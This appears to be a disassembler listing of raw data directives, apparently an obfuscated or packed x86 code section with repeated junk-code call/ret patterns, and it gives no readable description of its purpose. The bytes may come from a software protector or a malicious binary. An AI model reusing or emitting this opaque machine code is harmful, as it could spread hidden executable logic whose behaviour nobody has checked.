		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FFF4C350h, 45BD89E1h, 905E706h, 0E7170995h
		dd 99BD8305h, 5E70Ch, 3D5840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 61843AC3h
		dd 0C41DC173h, 0C99BD83h, 0F0105E7h, 3C184h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD83D5E4h, 5E70C99h, 61860F03h, 81000003h, 0CA8631C7h
		dd 9D8B6054h, 5E706C1h,	6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1D47C356h
		dd 60C9373Ah, 2D11BD29h, 0B58905E7h, 5E716F9h, 4E18061h
		dd 0F9D8B70Fh, 840FC90Ah, 117h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0AEC35141h,	36BF7DF1h, 8B35CFCEh
		dd 0E7072D85h, 0DF8B6605h, 2E818533h, 6A05E7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0AE7FC5C3h, 661C07DCh, 1537DB81h, 8B665650h,	4895BD9h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 45FB4AFFh, 7F8693F5h, 89006AB9h,	0E703C99Dh
		dd 73DD6805h, 860FDE01h, 0Ah, 0F525060h, 51585A31h, 481615Ah
		dd 1D902224h, 13E922h, 9E820000h, 0C4C75C7h, 20466332h
		dd 30E42EC4h, 33531708h, 0E595FFA2h, 6A05E720h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6EFCC355h, 0BE7F5584h, 31E18D89h, 858905E7h,	5EAA350h
		dd 128C0Fh, 9E80000h, 0DB000000h, 0CEEB6B2h, 7453DB4h
		dd 5BD98B66h, 16FE9h, 0F5B58900h, 8B05E72Dh, 0EAA34885h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0C7C7B303h, 1800h, 12840F00h, 0E9000000h
		dd 0Dh,	0DE740FD8h, 8847C9B8h, 35627B57h, 0DDBD8B10h, 8B05E713h
		dd 0EAA34CB5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0C897A0CDh, 858BEA3Eh
		dd 5E70081h, 7D850160h,	6105E725h, 81660689h, 8B7E9CDFh
		dd 0E7072D85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 4E6ADF1Eh, 88B867BEh
		dd 51BD8B3Eh, 0E805E708h, 12h, 0BCDFE0ADh, 0CBD45533h
		dd 0A3C25428h, 759CDD2Fh, 0BD890693h, 5E7000Dh,	446895Bh
		dd 6CBABB66h, 9C62BF50h, 3489413Bh, 0B5FFF524h,	5EAA348h
		dd 32E19D0Bh, 0D46805E7h, 818FB7F8h, 0B2B2404h,	81667067h
		dd 665BE9EBh, 8D0686BFh, 0EAA35085h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 89602838h
		dd 0E730DDBDh, 61FFB505h, 66606090h, 50D24BB8h,	5A310F52h
		dd 50616158h, 11E9h, 0A7E10E00h, 6330858Dh, 671F57BCh
		dd 5B174003h, 669091D6h, 8DCACF81h, 20E595FFh, 853105E7h
		dd 5E731C9h, 56006A61h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 52C14A6Dh, 895FDE8Bh, 0E70D2185h
		dd 9985C705h, 305E70Ch,	60000000h, 1C2CD181h, 0BD290872h
		dd 5E70655h, 50BD8361h,	5EAA3h,	46840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 248726C3h, 83019BF1h, 0E95B56ABh, 37h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 57C35747h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h
		dd 0EBE77504h, 0FC08B00h, 0A8Ch, 5E900h, 32020000h, 60AD6849h
		dd 27059501h, 8D3105E7h, 5E726ADh, 99BD8361h, 305E70Ch
		dd 508850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 988A8DC3h, 58CC8F89h, 0F019531h
		dd 0BB6605E7h, 0BD835018h, 5EAA350h, 0CF840F00h, 89000004h
		dd 0E72C699Dh, 50B5FF05h, 0F05EAA3h, 95FFDABFh,	5E72D69h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A4C35646h
		dd 7479E02h, 60869841h,	1CD9958Bh, 0BF0F05E7h, 0B52961F7h
		dd 5E72EB9h, 0A344B58Bh, 0CE805EAh, 53000000h, 4F3E27E3h
		dd 29F4CF92h, 29982A66h, 0E726F1B5h, 6E95F05h, 32000000h
		dd 0E4A40B56h, 106C746h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6814C351h
		dd 14E7C3CEh, 22299D89h, 11E905E7h, 18000000h, 7A083D09h
		dd 5EC9114Bh, 0E3136E25h, 0A1F4C767h, 13E896h, 0FD700000h
		dd 0C686F894h, 3D063FDCh, 0B6121DEFh, 0B4F2E98Eh, 890F510Bh
		dd 0
		dd 0BB505F5Bh, 83730F8h, 0F59D8B96h, 6605E712h,	0B5FFDE8Bh
		dd 5EAA350h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	40C35646h, 30216A68h, 0BEE45C0Fh, 95FFDA8Bh, 5E7247Dh
		dd 32DBD8Bh, 0B58B05E7h, 5EAA344h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 38C35747h, 0D2D2F381h, 81661E70h
		dd 8B5BFAE7h, 0E703CD85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 89F53894h
		dd 0C486h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 66E80E25h, 89F30DBBh, 0E7071985h
		dd 15958B05h, 6A05E723h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D039C350h,	969D48B5h
		dd 33466ABh, 0E70BEDBDh, 4C28305h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 4FC35747h, 8D29EDFEh, 5E71581h
		dd 0CCEF8166h, 205089CBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 5CC35646h, 2208F538h,	32858D4Dh, 6A05EAB7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0C94AC350h, 741C27A1h, 0B679795h,	9319501h
		dd 868905E7h, 0B8h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 6BC35141h, 945BD31h, 850105E7h, 5E70241h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 5B9DD7C3h, 1119589h, 0B5FF05E7h, 5EAA350h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 40C35545h
		dd 0BF0F06B0h, 4195FFD9h, 8105E700h, 6242B3DBh,	5250506Ch
		dd 65E7BB66h, 19BB310Fh, 5A038019h, 24348958h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BCC35747h, 2E118D89h
		dd 0B5FF05E7h, 5EAA350h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0ACC35141h, 3F7FDC06h, 69B08983h, 5E9h
		dd 0DF1BBD00h, 0FA8AD1C1h, 2A0995FFh, 0B70F05E7h, 0F9BD83DBh
		dd 5E704h, 3F840Fh, 0B70F0000h,	8B96FCFAh, 830F50F8h, 8
		dd 28F0Fh, 5B560000h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 6BB37C07h, 81034604h
		dd 0E8EA96F7h, 50B5FF67h, 6A05EAA3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BC70C353h
		dd 0F380B5D2h, 1D95FF4Fh, 6A05E707h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1D3DC352h
		dd 258D2928h, 0FF05E71Ah, 0EAA350B5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 15C6C11Ah, 0C98D8960h, 0F505E719h, 0EE961h, 99150000h
		dd 0A29160C8h, 0F202F00Bh, 0D34E799Fh, 2D4D9589h, 95FF05E7h
		dd 5E70CC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	3DC35747h, 4B78B14Ah, 0A850F9Fh, 0E9000000h, 5
		dd 0DE3FE4CBh, 0FE811h,	7BD70000h, 0E93644E2h, 1DC4A54Ah
		dd 41683D29h, 71E381FBh, 5F461D29h, 25CDBD83h, 0F0205E7h
		dd 3184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0F99BD561h, 0DED9D2Bh, 858B05E7h
		dd 5E70651h, 0F0000C6h,	85C7D9B7h, 5E70DFDh, 0
		dd 16699D0Bh, 8E905E7h,	6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2A5AC355h
		dd 4C92704h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 33B187C3h, 0BD444B8h, 0E712F1BDh
		dd 0F9858D05h, 5005E71Ah, 9E96060h, 0B6000000h,	0B06DFC88h
		dd 270F81CDh, 0CE9844BFh, 8961610Ah, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 985A8BC3h
		dd 41560839h, 8B006AD9h, 0E72281BDh, 6A006A05h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 6BE3C351h, 9D8BCC14h, 5E72795h, 0EB816650h, 8D5F9392h
		dd 0EB661585h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 895D18B0h, 0E730D1B5h
		dd 0DB816605h, 0C083CF27h, 55B52905h, 0E805E706h, 14h
		dd 155A86B4h, 99CCFECCh, 0A6E40471h, 0A800A606h, 89C62D85h
		dd 505BF98Bh, 4840Fh, 0BB660000h, 489C4FEh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0BE8B3h, 0AC10000h, 2D563C15h, 11BE7099h, 0C98589C6h
		dd 5B05E703h, 2C0D9589h, 6A05E7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 15C35141h, 0CBB324AAh, 27D5BD03h
		dd 6A05E7h, 2271BD89h, 95FF05E7h, 5E702C5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8C35646h, 5CC73F23h
		dd 66609EBCh, 20DECF81h, 0C2EAD8BFh, 8D8D6164h,	5EA9514h
		dd 2A8C46BBh, 6AD1FF54h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0DB3FC356h,	9CF6EBEFh
		dd 0E62A0C64h, 1CBD9D29h, 0BD8305E7h, 5E707F1h,	0A3850F01h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0D0F3C351h, 0EAFDD6EFh, 6AFE8B33h
		dd 53006A02h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C654BC72h, 50E14682h, 0DA8A5250h, 585A310Fh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FF8DC353h, 0E7004195h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F63721DBh, 8E9F5h, 0CF000000h, 19EC2AF2h, 1CE96D67h
		dd 0E800000Dh, 0
		dd 1FED815Dh, 6A05EB66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0D351C353h,	6AD88B5Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 269EC353h, 4E1FA8FAh, 0BD8BE119h,	5E70A7Dh
		dd 8F5B858Dh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 54FB5BC3h, 0E7803337h, 50DE8A49h
		dd 489FE8Bh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 67B69D28h, 8B2E5F20h, 0E722199Dh
		dd 0C8B0F05h, 0F000000h, 685h, 820F00h,	64000000h, 35FFh
		dd 8E90000h, 10000000h,	60924635h, 6434FBFBh, 2589h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 8323ECC3h, 1CE185FFh, 0BD8905E7h, 5E7218Dh, 6AFF6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B31E34C3h, 8166ED6Dh, 0FF02DEEFh, 0E708C5B5h, 8D9D8B05h
		dd 0FF05E700h, 0E729C195h, 12BE905h, 0BD8B0000h, 5E709A5h
		dd 0F38100B0h, 7303A71Ch, 0BD2B70E6h, 5E70B4Dh,	613C71E4h
		dd 10B830Fh, 7E90000h, 44000000h, 0B7EE4346h, 0B60FD66Ah
		dd 0D9BD89C8h, 0BA05E707h, 6, 75BD3160h, 0E905E71Ch, 0Dh
		dd 0B3DFBD2Ch, 0D179E85Ch, 37BA9782h, 0C18B6149h, 0C8E0Fh
		dd 840F0000h, 6, 25258509h, 0E8C105E7h,	0F5BD8B04h, 0F05E726h
		dd 0F766F9B7h, 7BF66E2h, 8BC82B65h, 8BD18BFEh, 0E725B1BDh
		dd 55BD8B05h, 0E905E70Eh, 5, 7156E8BBh,	0C1858B53h, 0B05E712h
		dd 0E71C319Dh, 7C08305h, 8E9h, 0A02CBD00h, 7E045FCh, 0C083C0h
		dd 0ABD9D8Bh, 8D8905E7h, 5E70985h, 830FD03Bh, 0Eh, 0F8DF8166h
		dd 57E9BFh, 0BF660000h,	8D8BE07Eh, 5E726D1h, 0DE9h, 0DF3B7A00h
		dd 92AEDDA1h, 0EE7599D8h, 0E1837F51h, 32840F01h, 0BB000000h
		dd 4386B395h, 0BE9h, 508EBF00h,	0ABF06A01h, 0F882F68h
		dd 26D1A583h, 1FE05E7h,	0E72F85B5h, 0C1958905h,	0BB05E712h
		dd 2509CF35h, 0E9h, 0C5B58D00h,	8905EADEh, 0E7125195h
		dd 6A006A05h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5EFAC353h, 0FF68D610h,	0E71A1D95h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 667D584Fh, 3AB9F88Bh, 6A000009h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0ED9BC357h, 6AC49C56h, 2A1F24A5h, 2E399D89h,	0E18305E7h
		dd 259D8BFCh, 0FC05E707h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 3AC35040h, 0B8D98Ah, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6ABEC350h, 2B70CCA7h, 14E77DAh, 0C9BD8B52h, 5B05E708h
		dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 85012367h, 5E7090Dh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0DAC35545h, 51C5152Dh, 6AE7F684h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 4FCEC350h, 0B5419A22h, 0F92E388Fh, 23DEB70Fh, 0E720D5BDh
		dd 880D05h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 190424h, 51410000h, 487FCFC3h, 66D3CFC7h, 0D1B7D98Bh
		dd 2315958Bh, 9D8B05E7h, 5E7042Dh, 8B98D8Bh, 0F78105E7h
		dd 5F440AE1h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 8D015818h, 5E71449h,	0AFC38166h, 1DBD836Ch, 5E721h
		dd 68840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 233362C3h, 0C31A7D78h, 0D1B53153h
		dd 0B805E70Bh, 0
		dd 0E69BD2Bh, 8D8D05E7h, 5E74DFAh, 1B09FFBFh, 6AE1FF67h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 891EC357h, 0C46ADDC5h, 66726728h,	0BD83FE8Bh
		dd 5E70C99h, 7840F00h, 89000004h, 0E705698Dh, 99BD8305h
		dd 105E70Ch, 40F840Fh, 0F9560000h, 99BD835Bh, 305E70Ch
		dd 3C9860Fh, 60F80000h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0C8C35141h, 6AD98C66h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8142C352h
		dd 93733B6h, 0E71B3D8Dh, 10E905h, 0E67B0000h, 9C41238Ah
		dd 0B32535B9h, 7C74E5A2h, 0E1803AEEh, 697DBB04h, 0C90A066Dh
		dd 125840Fh, 0BB660000h, 858BBFFBh, 5E7072Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 97C35242h, 0DAC40C1Eh
		dd 8F5453AAh, 0EE9h, 0F4A97300h, 0E9459793h, 55079BBFh
		dd 33ED3690h, 0E72E8185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 301B00AFh
		dd 0B350E1B9h, 240489FBh, 0DE9h, 98E8F500h, 7ACDCB57h
		dd 3D99905Eh, 6A9298h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 2CC35646h, 4C98509h, 6F6805E7h, 817C60E4h
		dd 0E7902434h, 860F7C7Fh, 0Bh, 5E8h, 0CE22BB00h, 0F5FE6B5h
		dd 0C81h, 6830F00h, 9000000h, 0E701918Dh, 0E595FF05h, 0F05E720h
		dd 58Dh, 14DEBF00h, 85897FD8h, 5EAA350h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 37C35242h, 2D0C3D25h
		dd 0A55A167h, 0B5E94BB7h, 0E8000001h, 7, 284ABAE0h, 0FE9E3BDh
		dd 8B5BDBB7h, 0EAA34885h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 46C9A95Eh
		dd 7FC2583Eh, 81662A85h, 0C71B62D7h, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		db 4, 15h
word_584F4E	dw 0			; DATA XREF: ___:00436804o
		dd 0C3534300h, 0B58B2BC6h, 5EAA34Ch, 1B3D9D8Bh,	858B05E7h
		dd 5E70081h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0CCC35040h, 0AC5E5E00h,	0B1BB668Ah, 8906897Bh
		dd 0E704419Dh, 2D858B05h, 0F05E707h, 0A8Ah, 48B0F00h, 66000000h
		dd 89AAE8BFh, 9D8B0446h, 5E70179h, 6466BF96h, 0E8505917h
		dd 0Ah,	3D0CAD91h, 7CB7A0ADh, 52501C43h, 810Fh,	310F0000h
		dd 585A5F52h, 8589965Bh, 5E72BC9h, 22A99D31h, 0B5FF05E7h
		dd 5EAA348h, 558589h, 436805E7h, 0E8DE45C7h, 9,	431613B3h
		dd 2EC002BEh, 0A9BB60E8h, 617491B5h, 2404815Fh,	21D93CBCh
		dd 1DB58956h, 5B05E701h, 0A350858Dh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4C6FDDC3h
		dd 0FFFBF0Fh, 138Ah, 0EE900h, 0D83D0000h, 12A469AAh, 5CD7E557h
		dd 0BA334BECh, 4EBB6650h, 2404896Eh, 0ED8D89h, 95FF05E7h
		dd 5E720E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	1EC35343h, 2A359C9Dh, 451BD01h,	8C0F05E7h, 0Ch
		dd 6870Fh, 95890000h, 5E730EDh,	6870F61h, 8B000000h, 0E71CF9BDh
		dd 9985C705h, 305E70Ch,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 3BD7C352h
		dd 0C9BD8B5Ah, 8305E72Ch, 0EAA350BDh, 840F0005h, 4Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7BC35242h, 0F015D6F7h
		dd 952914ACh, 5E70CA1h,	13E9h, 0E40FC800h, 6143EF03h, 9C88D670h
		dd 128E1136h, 397E6189h, 21E9h,	1DB58900h, 5005E705h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0FB8BC08Bh
		dd 68C0Fh, 95890000h, 5E71585h,	0C99BD83h, 0F0305E7h, 3B385h
		dd 0ADBD8B00h, 8305E723h, 0EAA350BDh, 840F0005h, 3A0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CDC35747h
		dd 90026E52h, 29DC47DDh, 0E722B185h, 50B5FF05h,	8B05EAA3h
		dd 0E701FDBDh, 68D0F05h, 81000000h, 8F12E5EFh, 6995FF04h
		dd 8905E72Dh, 0E703B59Dh, 44B58B05h, 5005EAA3h,	55B7BF66h
		dd 0C19D895Fh, 0C705E70Eh, 1000106h, 219D8B00h,	5005E722h
		dd 3489FB8Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0CD23B671h, 0EE9D442h, 33000000h
		dd 8E637AF0h, 4685336Ch, 0C03821E2h, 50B5FFC4h,	0E905EAA3h
		dd 10h,	0B96020C2h, 0D32E0DB1h,	43D60DE9h, 291F79FEh, 247D95FFh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 25B92CC3h, 36A8FB0Fh, 0A344B58Bh,	6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0B8F400C3h, 3DBA858Fh, 3CD858Bh, 858905E7h, 5E70CF9h
		dd 0C48689h, 0E7810000h, 1BC4726Ah, 2315958Bh, 840F05E7h
		dd 10h,	0BE9h, 7E28A500h, 11633322h, 441FFEF1h,	8904C283h
		dd 0E732618Dh, 20508905h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0A5C35343h, 2261B529h, 858D05E7h, 5EAB732h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 82C35747h
		dd 86895072h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 25C35040h, 6AB28027h,	11E800h, 92880000h
		dd 0D49D6662h, 0E15EED33h, 0D794C217h, 8A28ADF5h, 0B5FF5BF8h
		dd 5EAA350h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	1AC35343h, 3C38EDBDh, 9E51DF6Bh, 853160D4h, 5E71385h
		dd 8B0F50h, 5B000000h, 4195FF61h, 0F05E700h, 383h, 0FA8B6600h
		dd 0CE850h, 37A60000h, 0F890F7E5h, 2DE7B292h, 0F98B37A0h
		dd 2434895Bh, 6840Fh, 85890000h, 5E72395h, 0FFFEBF0Fh
		dd 0EAA350B5h, 804ABB05h, 95FF37E5h, 5E72A09h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 62675849h
		dd 95C7FEE9h, 4F9BD83h,	0F0005E7h, 3384h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0F651A705h, 0E742FEEAh, 0BDDBD0Bh, 895005E7h, 95892434h
		dd 5E713D1h, 0A350B5FFh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 4B6757C3h, 0FFFFBF0Fh
		dd 0E7071D95h, 0DF8B6605h, 0A350B5FFh, 9D8B05EAh, 5E732E9h
		dd 0CC595FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 66A266C3h, 8377EFBBh, 0E725CDBDh
		dd 840F0205h, 5Eh, 447BEBBFh, 51858B4Fh, 6A05E706h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 1107C352h, 4F9AD8CDh, 0B893273Eh, 359BD01h, 0C605E7h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0E4830A4h, 0F66D92D5h, 85C78ADEh, 5E70DFDh
		dd 0
		dd 68C0Fh, 95890000h, 5E70489h,	0FFF43FE9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 4BA77F94h, 964B61ACh, 8BDA8B99h, 0E7206DBDh,	6AC18B05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 5AE5C352h, 21EF7132h, 0FBB70F83h,	8DFB8B66h
		dd 0E71AF985h, 40ABF05h, 89502AD1h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A38BF4C3h
		dd 6A006AC6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 8E04C357h, 0E428FB8Fh,	0A86946BAh
		dd 16CD9D8Bh, 0AE905E7h, 9C000000h, 0AD0E8FDh, 38FEA05Eh
		dd 6A006AB7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 5C29C356h, 820F52FEh, 6, 26199509h
		dd 8D5F05E7h, 0EB757C85h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0B1803C9Fh
		dd 0BCEC1FD6h, 6E9D78Eh, 87000000h, 0AF260D39h,	5C083F7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 7EC35040h
		dd 0D822D51Eh, 145D9D33h, 0B39005E7h, 25BB501Fh, 903767B5h
		dd 32619589h, 6A05E7h, 10E9h, 12CB1600h, 41A6F984h, 0D2DB6409h
		dd 0E4CBF04Ah, 6A006A3Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0B2EC357h, 6830Fh
		dd 8D890000h, 5E71ADDh,	2C595FFh, 0DA8A05E7h, 95148D8Dh
		dd 0BE905EAh, 93000000h, 3016AE99h, 5E37996Ah, 8529DACBh
		dd 5E72E4Dh, 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8529ECC3h, 5E722E1h, 0BD8324B7h
		dd 5E707F1h, 0A6850F01h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9BF0C352h
		dd 339E9636h, 81DD631Fh, 415DB4EFh, 0E8026A20h,	8, 4C62301Eh
		dd 871A7913h, 7E860h, 720000h, 8819F784h, 61F85B49h, 2356605Fh
		dd 0E7045195h, 820F5E05h, 6, 2BA5958Bh,	906105E7h, 2ABB5250h
		dd 0F1C9E9Eh, 90BB6631h, 50585A32h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0CD5DD1BAh
		dd 139AC44Ch, 4195FFh, 9D3305E7h, 5E712D1h, 0F8230DBBh
		dd 0CC2E978h, 0E80000h,	5D000000h, 7586ED81h, 870F05EBh
		dd 6, 0D45B529h, 0F5205E7h, 685h, 29852900h, 5F05E70Fh
		dd 27019D8Bh, 858D05E7h, 5EA8F5Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0D1C35242h,	0C974A0B4h, 8BA9443Bh
		dd 0E71641BDh, 0DE95005h, 0D1000000h, 2CCE7B83h, 92EBDB8Bh
		dd 120D6DD3h, 64240489h, 35FFh,	31570000h, 0E703B585h
		dd 89645F05h, 25h, 0FF98B00h, 85FFDAB7h, 5E71CE1h, 0E857006Ah
